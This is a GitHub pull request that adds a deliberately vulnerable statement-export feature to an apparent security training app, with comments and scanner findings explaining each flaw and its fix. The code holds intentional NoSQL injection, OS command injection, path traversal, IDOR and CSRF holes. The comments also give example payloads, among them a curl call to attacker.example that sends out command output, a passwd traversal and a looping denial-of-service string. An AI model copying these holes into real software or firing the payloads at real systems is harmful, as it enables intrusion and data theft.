-
Notifications
You must be signed in to change notification settings - Fork 0
Add vulnerable-by-design account statement export feature #8
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| /* The StatementDAO must be constructed with a connected database object */ | ||
| function StatementDAO(db) { | ||
|
|
||
| "use strict"; | ||
|
|
||
| /* If this constructor is called without the "new" operator, "this" points | ||
| * to the global object. Log a warning and call it correctly. */ | ||
| if (false === (this instanceof StatementDAO)) { | ||
| console.log("Warning: StatementDAO constructor called without 'new' operator"); | ||
| return new StatementDAO(db); | ||
| } | ||
|
|
||
| const statementsCol = db.collection("statements"); | ||
|
|
||
| this.insert = (userId, fileName, notes, callback) => { | ||
|
|
||
| const statement = { | ||
| userId: parseInt(userId), | ||
| fileName, | ||
| notes, | ||
| timestamp: new Date() | ||
| }; | ||
|
|
||
| statementsCol.insert(statement, (err, result) => !err ? callback(null, result) : callback(err, null)); | ||
| }; | ||
|
|
||
| this.getAllForUser = (userId, filters, callback) => { | ||
| const parsedUserId = parseInt(userId); | ||
| const { search } = filters || {}; | ||
|
|
||
| const searchCriteria = () => { | ||
| if (search) { | ||
| /* | ||
| * VULNERABLE (A1 - NoSQL Injection): `search` is forwarded here | ||
| * from statement.js -> displayStatement, which reads it straight | ||
| * from req.query.search. It is concatenated into a MongoDB | ||
| * $where clause, which runs arbitrary JavaScript server-side | ||
| * against every document in the collection. | ||
| * | ||
| * Example payloads (as the `search` query string parameter): | ||
| * ') || ('1'=='1 -> dumps every user's statements, not just this account's | ||
| * ');return(true);(this.notes||' -> matches everything regardless of content | ||
| * ');while(true){};(' -> denial of service, blocks the event loop | ||
| * | ||
| * Fix: never build $where from user input. Use a plain field | ||
| * match / $regex instead, e.g.: | ||
| * return { userId: parsedUserId, notes: { $regex: escapeRegex(search) } }; | ||
| */ | ||
| return { | ||
| $where: `this.userId == ${parsedUserId} && this.notes.indexOf('${search}') !== -1` | ||
| }; | ||
| } | ||
| return { | ||
| userId: parsedUserId | ||
| }; | ||
| }; | ||
|
|
||
| statementsCol.find(searchCriteria()).sort({ | ||
| timestamp: -1 | ||
| }).toArray((err, statements) => { | ||
| if (err) return callback(err, null); | ||
| return callback(null, statements || []); | ||
| }); | ||
| }; | ||
|
|
||
| this.remove = (userId, fileName, callback) => { | ||
| // Note: this only scopes by the *URL supplied* userId, not the | ||
| // authenticated session user - see the missing ownership check in | ||
| // statement.js -> deleteStatement. | ||
| statementsCol.remove({ | ||
| userId: parseInt(userId), | ||
| fileName | ||
| }, err => callback(err, null)); | ||
| }; | ||
|
|
||
| } | ||
|
|
||
| module.exports = { StatementDAO }; | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,121 @@ | ||
| const fs = require("fs"); | ||
| const path = require("path"); | ||
| const StatementDAO = require("../data/statement-dao").StatementDAO; | ||
| const { exportStatementToFile, EXPORT_DIR } = require("../utils/statement-export"); | ||
| const { | ||
| environmentalScripts | ||
| } = require("../../config/config"); | ||
|
|
||
| /* The StatementHandler must be constructed with a connected db */ | ||
| function StatementHandler(db) { | ||
| "use strict"; | ||
|
|
||
| const statementDAO = new StatementDAO(db); | ||
|
|
||
| /* | ||
| * A4 - Missing Function Level Access Control / Insecure Direct Object | ||
| * Reference. The account whose statements are displayed is taken from the | ||
| * URL (:userId) instead of the authenticated session, and nothing checks | ||
| * that the logged-in user owns that account. Any logged-in user can view | ||
| * another user's statement history and notes just by changing the userId | ||
| * segment of the URL, e.g. /statement/1, /statement/2, /statement/3, ... | ||
| * | ||
| * Fix: | ||
| * const { userId } = req.session; | ||
| * if (parseInt(req.params.userId, 10) !== parseInt(userId, 10)) { | ||
| * return res.redirect("/dashboard"); | ||
| * } | ||
| */ | ||
| this.displayStatement = (req, res, next) => { | ||
| const { | ||
| userId | ||
| } = req.params; | ||
| const { | ||
| search | ||
| } = req.query; | ||
|
|
||
| statementDAO.getAllForUser(userId, { search }, (err, statements) => { | ||
| if (err) return next(err); | ||
|
|
||
| return res.render("statement", { | ||
| userId, | ||
| statements, | ||
| searchTerm: search || "", | ||
| environmentalScripts | ||
| }); | ||
| }); | ||
| }; | ||
|
|
||
| this.handleExportRequest = (req, res, next) => { | ||
| const { | ||
| userId | ||
| } = req.params; | ||
| const { | ||
| fileName, | ||
| notes | ||
| } = req.body; | ||
|
|
||
| statementDAO.getAllForUser(userId, {}, (err, previousStatements) => { | ||
| if (err) return next(err); | ||
|
|
||
| statementDAO.insert(userId, fileName, notes, (err) => { | ||
| if (err) return next(err); | ||
|
|
||
| // Sink for the OS command injection - see app/utils/statement-export.js | ||
| exportStatementToFile(fileName, notes, previousStatements, (err) => { | ||
| if (err) return next(err); | ||
| return res.redirect(`/statement/${userId}`); | ||
|
Check failure on line 67 in app/routes/statement.js
|
||
| }); | ||
| }); | ||
| }); | ||
| }; | ||
|
|
||
| /* | ||
| * A5 - Path Traversal / Arbitrary File Read. fileName comes straight from | ||
| * the URL and is joined onto EXPORT_DIR with no validation, so "../" | ||
| * sequences escape the export directory entirely. | ||
| * | ||
| * Example: GET /statement/1/download/..%2f..%2f..%2f..%2fetc%2fpasswd | ||
| * | ||
| * Fix: strip path separators from fileName, or resolve the final path and | ||
| * verify it still starts with EXPORT_DIR before reading it. | ||
| */ | ||
| this.downloadStatement = (req, res, next) => { | ||
| const { | ||
| fileName | ||
| } = req.params; | ||
| const filePath = path.join(EXPORT_DIR, fileName); | ||
|
Check failure on line 87 in app/routes/statement.js
|
||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Potential file inclusion attack via reading file - high severity Show fixRemediation: Ignore this issue only after you've verified or sanitized the input going into this function. This issue is only relevant in the backend, not in the frontend! Reply There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟡 Medium - Statement files saved with The exporter writes every generated statement to Show fixUse one canonical filename format across create/read/delete operations. Either store the exact generated path or filename (including extension) in MongoDB and reuse it for download/delete, or append the same More info - Reply on this comment to give feedback on the issue. |
||
|
|
||
| fs.readFile(filePath, "utf8", (err, data) => { | ||
|
Check warning on line 89 in app/routes/statement.js
|
||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Potential file inclusion attack via reading file - high severity Show fixRemediation: Ignore this issue only after you've verified or sanitized the input going into this function. This issue is only relevant in the backend, not in the frontend! Reply |
||
| if (err) return next(err); | ||
| res.set("Content-Type", "text/plain"); | ||
| return res.send(data); | ||
| }); | ||
| }; | ||
|
|
||
| /* | ||
| * A8 - CSRF, combined with the same missing ownership check as above. | ||
| * Deletion is a state-changing action exposed via a plain GET request with | ||
| * no CSRF token, so a forged request from another site | ||
| * (e.g. <img src="https://target/statement/3/delete/august-2026">) executes | ||
| * using the victim's authenticated session the moment they view it. | ||
| */ | ||
| this.deleteStatement = (req, res, next) => { | ||
| const { | ||
| userId, | ||
| fileName | ||
| } = req.params; | ||
|
|
||
| statementDAO.remove(userId, fileName, (err) => { | ||
| if (err) return next(err); | ||
|
|
||
| const filePath = path.join(EXPORT_DIR, fileName); | ||
| fs.unlink(filePath, () => { | ||
|
Check warning on line 113 in app/routes/statement.js
|
||
| return res.redirect(`/statement/${userId}`); | ||
| }); | ||
| }); | ||
| }; | ||
|
|
||
| } | ||
|
|
||
| module.exports = StatementHandler; | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| /* | ||
| * A1 - OS Command Injection | ||
| * | ||
| * This module renders an account statement to a text file on disk. Instead of | ||
| * writing the file directly (fs.writeFile), it shells out via | ||
| * child_process.exec() and builds the command string by concatenating | ||
| * user-controlled values (fileName and notes, both supplied by the client in | ||
| * statement.js -> handleExportRequest) directly into the shell command. | ||
| * | ||
| * Because exec() runs the string through /bin/sh, any shell metacharacter in | ||
| * either value breaks out of the intended command: | ||
| * | ||
| * fileName: statement"; curl http://attacker.example/$(id) # | ||
| * notes: "; touch /tmp/pwned; echo " | ||
| * | ||
| * Fix: never build shell commands from user input. Write the file directly | ||
| * with fs.writeFile (no shell involved), and separately validate fileName | ||
| * against an allow-list pattern before using it in a path: | ||
| * | ||
| * const safeName = fileName.replace(/[^a-zA-Z0-9_-]/g, ""); | ||
| * fs.writeFile(`${EXPORT_DIR}/${safeName}.txt`, body, callback); | ||
| */ | ||
|
|
||
| const { exec } = require("child_process"); | ||
| const fs = require("fs"); | ||
| const path = require("path"); | ||
|
|
||
| const EXPORT_DIR = path.join(__dirname, "../data/exports"); | ||
|
|
||
| // Ensure the export directory exists so the app is usable out of the box | ||
| if (!fs.existsSync(EXPORT_DIR)) { | ||
| fs.mkdirSync(EXPORT_DIR, { recursive: true }); | ||
| } | ||
|
|
||
| const exportStatementToFile = (fileName, notes, previousStatements, callback) => { | ||
| const filePath = `${EXPORT_DIR}/${fileName}.txt`; | ||
|
|
||
| const history = (previousStatements || []) | ||
| .map(s => `- ${s.fileName}: ${s.notes}`) | ||
| .join("\n"); | ||
|
|
||
| const body = `Account Statement\n=================\n${notes}\n\nPrevious statements on file:\n${history}\n` | ||
| .replace(/\n/g, "\\n"); | ||
|
|
||
| // Insecure: fileName and notes (embedded in `body`) come straight from the | ||
| // request body and are interpolated into a shell command. | ||
| const command = `echo "${body}" > "${filePath}"`; | ||
|
|
||
| console.log(`[statement-export] Executing: ${command}`); | ||
|
|
||
| exec(command, (err) => { | ||
|
Check failure on line 51 in app/utils/statement-export.js
|
||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Potential for OS command injection via child_process call - critical severity Show fixRemediation: If you can, avoid the exec() call. If that is not possible, consider hard coding both the command and arguments to be used. Alternatively, install Aikido Runtime for NodeJS to prevent command injection completely. Reply |
||
| if (err) return callback(err, null); | ||
| return callback(null, { filePath, fileName }); | ||
| }); | ||
| }; | ||
|
|
||
| module.exports = { exportStatementToFile, EXPORT_DIR }; | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| {% extends "./layout.html" %} {% block title %}Statements{% endblock %} {% block content %} | ||
|
|
||
| <div class="row"> | ||
| <div class="col-lg-12"> | ||
|
|
||
| <div class="panel panel-default"> | ||
| <div class="panel-heading"> | ||
| <h3 class="panel-title">Search Statements</h3> | ||
| </div> | ||
| <div class="panel-body"> | ||
| <form action="/statement/{{userId}}" method="get" role="search"> | ||
| <div class="form-group"> | ||
| <input type="text" class="form-control" placeholder="Search notes" name="search" value="{{searchTerm}}" /> | ||
| </div> | ||
| <button type="submit" class="btn btn-default">Search</button> | ||
| </form> | ||
| {% if searchTerm %} | ||
| <p class="help-block">Showing results for: {{searchTerm}}</p> | ||
| {% endif %} | ||
| </div> | ||
| </div> | ||
|
|
||
| <div class="panel panel-default"> | ||
| <div class="panel-heading"> | ||
| <h3 class="panel-title">Export a New Statement</h3> | ||
| </div> | ||
| <div class="panel-body"> | ||
| <form action="/statement/{{userId}}/export" method="post"> | ||
| <div class="form-group"> | ||
| <label>File name</label> | ||
| <input type="text" class="form-control" name="fileName" placeholder="e.g. august-2026" /> | ||
| </div> | ||
| <div class="form-group"> | ||
| <label>Notes</label> | ||
| <textarea class="form-control" name="notes" placeholder="Notes to include on this statement"></textarea> | ||
| </div> | ||
| <button type="submit" class="btn btn-primary">Generate Statement</button> | ||
| </form> | ||
| </div> | ||
| </div> | ||
|
|
||
| {% for statement in statements %} | ||
| <div class="panel panel-info"> | ||
| <div class="panel-heading"> | ||
| <strong>{{statement.fileName}}</strong> — {{statement.timestamp}} | ||
| </div> | ||
| <div class="panel-body"> | ||
| <p>{{statement.notes}}</p> | ||
| <a class="btn btn-sm btn-default" href="/statement/{{userId}}/download/{{statement.fileName}}">Download</a> | ||
| <a class="btn btn-sm btn-danger" href="/statement/{{userId}}/delete/{{statement.fileName}}">Delete</a> | ||
| </div> | ||
| </div> | ||
| {% endfor %} | ||
|
|
||
| </div> | ||
| </div> | ||
| {% endblock %} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Server-Side Template Injection via untrusted input in
express.render()- high severityDirect use of user-controlled inputs as arguments to the
express.render()function can result in server-side template injection when the template engine evaluates untrusted data. An attacker may craft malicious payloads to read local files or, depending on the template engine and its configuration, escalate the issue to remote code execution by abusing template logic and expression handling.Show fix
Remediation: Validate and sanitize all inputs before rendering, never pass raw user objects to templates, restrict template capabilities, and enforce strict variable whitelisting or safe rendering modes.
Reply
@AikidoSec ignore: [REASON]to ignore this issue.More info